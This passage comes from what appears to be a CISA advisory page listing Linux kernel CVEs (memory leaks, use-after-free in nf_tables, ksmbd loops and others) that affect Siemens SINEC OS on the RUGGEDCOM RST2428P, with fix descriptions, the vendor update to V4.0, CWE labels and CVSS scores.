<p>In the Linux kernel, the following vulnerability has been resolved: null_blk: fix kmemleak by releasing references to fault configfs items When CONFIG_BLK_DEV_NULL_BLK_FAULT_INJECTION is enabled, the null-blk driver sets up fault injection support by creating the timeout_inject, requeue_inject, and init_hctx_fault_inject configfs items as children of the top-level nullbX configfs group. However, when the nullbX device is removed, the references taken to these fault-config configfs items are not released. As a result, kmemleak reports a memory leak, for example: unreferenced object 0xc00000021ff25c40 (size 32): comm "mkdir", pid 10665, jiffies 4322121578 hex dump (first 32 bytes): 69 6e 69 74 5f 68 63 74 78 5f 66 61 75 6c 74 5f init_hctx_fault_ 69 6e 6a 65 63 74 00 88 00 00 00 00 00 00 00 00 inject.......... backtrace (crc 1a018c86): __kmalloc_node_track_caller_noprof+0x494/0xbd8 kvasprintf+0x74/0xf4 config_item_set_name+0xf0/0x104 config_group_init_type_name+0x48/0xfc fault_config_init+0x48/0xf0 0xc0080000180559e4 configfs_mkdir+0x304/0x814 vfs_mkdir+0x49c/0x604 do_mkdirat+0x314/0x3d0 sys_mkdir+0xa0/0xd8 system_call_exception+0x1b0/0x4f0 system_call_vectored_common+0x15c/0x2ec Fix this by explicitly releasing the references to the fault-config configfs items when dropping the reference to the top-level nullbX configfs group.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23032">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23033</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: omap-dma: fix dma_pool resource leak in error paths The dma_pool created by dma_pool_create() is not destroyed when dma_async_device_register() or of_dma_controller_register() fails, causing a resource leak in the probe error paths. Add dma_pool_destroy() in both error paths to properly release the allocated dma_pool resource.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23033">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23037</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: can: etas_es58x: allow partial RX URB allocation to succeed When es58x_alloc_rx_urbs() fails to allocate the requested number of URBs but succeeds in allocating some, it returns an error code. This causes es58x_open() to return early, skipping the cleanup label 'free_urbs', which leads to the anchored URBs being leaked. As pointed out by maintainer Vincent Mailhol, the driver is designed to handle partial URB allocation gracefully. Therefore, partial allocation should not be treated as a fatal error. Modify es58x_alloc_rx_urbs() to return 0 if at least one URB has been allocated, restoring the intended behavior and preventing the leak in es58x_open().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23037">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23038</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: pnfs/flexfiles: Fix memory leak in nfs4_ff_alloc_deviceid_node() In nfs4_ff_alloc_deviceid_node(), if the allocation for ds_versions fails, the function jumps to the out_scratch label without freeing the already allocated dsaddrs list, leading to a memory leak. Fix this by jumping to the out_err_drain_dsaddrs label, which properly frees the dsaddrs list before cleaning up other resources.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23038">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23111</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: fix inverted genmask check in nft_map_catchall_activate() nft_map_catchall_activate() has an inverted element activity check compared to its non-catchall counterpart nft_mapelem_activate() and compared to what is logically required. nft_map_catchall_activate() is called from the abort path to re-activate catchall map elements that were deactivated during a failed transaction. It should skip elements that are already active (they don't need re-activation) and process elements that are inactive (they need to be restored). Instead, the current code does the opposite: it skips inactive elements and processes active ones. Compare the non-catchall activate callback, which is correct: nft_mapelem_activate(): if (nft_set_elem_active(ext, iter-&gt;genmask)) return 0; /* skip active, process inactive */ With the buggy catchall version: nft_map_catchall_activate(): if (!nft_set_elem_active(ext, genmask)) continue; /* skip inactive, process active */ The consequence is that when a DELSET operation is aborted, nft_setelem_data_activate() is never called for the catchall element. For NFT_GOTO verdict elements, this means nft_data_hold() is never called to restore the chain-&gt;use reference count. Each abort cycle permanently decrements chain-&gt;use. Once chain-&gt;use reaches zero, DELCHAIN succeeds and frees the chain while catchall verdict elements still reference it, resulting in a use-after-free. This is exploitable for local privilege escalation from an unprivileged user via user namespaces + nftables on distributions that enable CONFIG_USER_NS and CONFIG_NF_TABLES. Fix by removing the negation so the check matches nft_mapelem_activate(): skip active elements, process inactive ones.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23111">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23112</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nvmet-tcp: add bounds checks in nvmet_tcp_build_pdu_iovec nvmet_tcp_build_pdu_iovec() could walk past cmd-&gt;req.sg when a PDU length or offset exceeds sg_cnt and then use bogus sg-&gt;length/offset values, leading to _copy_to_iter() GPF/KASAN. Guard sg_idx, remaining entries, and sg-&gt;length/offset before building the bvec.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23112">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23220</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix infinite loop caused by next_smb2_rcv_hdr_off reset in error paths The problem occurs when a signed request fails smb2 signature verification check. In __process_request(), if check_sign_req() returns an error, set_smb2_rsp_status(work, STATUS_ACCESS_DENIED) is called. set_smb2_rsp_status() set work-&gt;next_smb2_rcv_hdr_off as zero. By resetting next_smb2_rcv_hdr_off to zero, the pointer to the next command in the chain is lost. Consequently, is_chained_smb2_message() continues to point to the same request header instead of advancing. If the header's NextCommand field is non-zero, the function returns true, causing __handle_ksmbd_work() to repeatedly process the same failed request in an infinite loop. This results in the kernel log being flooded with "bad smb2 signature" messages and high CPU usage. This patch fixes the issue by changing the return value from SERVER_HANDLER_CONTINUE to SERVER_HANDLER_ABORT. This ensures that the processing loop terminates immediately rather than attempting to continue from an invalidated offset.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23220">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/835.html">CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23222</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: omap - Allocate OMAP_CRYPTO_FORCE_COPY scatterlists correctly The existing allocation of scatterlists in omap_crypto_copy_sg_lists() was allocating an array of scatterlist pointers, not scatterlist objects, resulting in a 4x too small allocation. Use sizeof(*new_sg) to get the correct object size.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23222">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23228</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: smb: server: fix leak of active_num_conn in ksmbd_tcp_new_connection() On kthread_run() failure in ksmbd_tcp_new_connection(), the transport is freed via free_transport(), which does not decrement active_num_conn, leaking this counter. Replace free_transport() with ksmbd_tcp_disconnect().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23228">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23229</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: virtio - Add spinlock protection with virtqueue notification When VM boots with one virtio-crypto PCI device and builtin backend, run openssl benchmark command with multiple processes, such as openssl speed -evp aes-128-cbc -engine afalg -seconds 10 -multi 32 openssl processes will hangup and there is error reported like this: virtio_crypto virtio0: dataq.0:id 3 is not a head! It seems that the data virtqueue need protection when it is handled for virtio done notification. If the spinlock protection is added in virtcrypto_done_task(), openssl benchmark with multiple processes works well.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23229">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/820.html">CWE-820 Missing Synchronization</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23230</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: smb: client: split cached_fid bitfields to avoid shared-byte RMW races is_open, has_lease and on_list are stored in the same bitfield byte in struct cached_fid but are updated in different code paths that may run concurrently. Bitfield assignments generate byte read–modify–write operations (e.g. `orb $mask, addr` on x86_64), so updating one flag can restore stale values of the others. A possible interleaving is: CPU1: load old byte (has_lease=1, on_list=1) CPU2: clear both flags (store 0) CPU1: RMW store (old | IS_OPEN) -&gt; reintroduces cleared bits To avoid this class of races, convert these flags to separate bool fields.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23230">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23231</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: fix use-after-free in nf_tables_addchain() nf_tables_addchain() publishes the chain to table-&gt;chains via list_add_tail_rcu() (in nft_chain_add()) before registering hooks. If nf_tables_register_hook() then fails, the error path calls nft_chain_del() (list_del_rcu()) followed by nf_tables_chain_destroy() with no RCU grace period in between. This creates two use-after-free conditions: 1) Control-plane: nf_tables_dump_chains() traverses table-&gt;chains under rcu_read_lock(). A concurrent dump can still be walking the chain when the error path frees it. 2) Packet path: for NFPROTO_INET, nf_register_net_hook() briefly installs the IPv4 hook before IPv6 registration fails. Packets entering nft_do_chain() via the transient IPv4 hook can still be dereferencing chain-&gt;blob_gen_X when the error path frees the chain. Add synchronize_rcu() between nft_chain_del() and the chain destroy so that all RCU readers -- both dump threads and in-flight packet evaluation -- have finished before the chain is freed.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23231">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23236</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fbdev: smscufx: properly copy ioctl memory to kernelspace The UFX_IOCTL_REPORT_DAMAGE ioctl does not properly copy data from userspace to kernelspace, and instead directly references the memory, which can cause problems if invalid data is passed from userspace. Fix this all up by correctly copying the memory before accessing it within the kernel.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23236">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.3</td>
<td>HIGH</td>
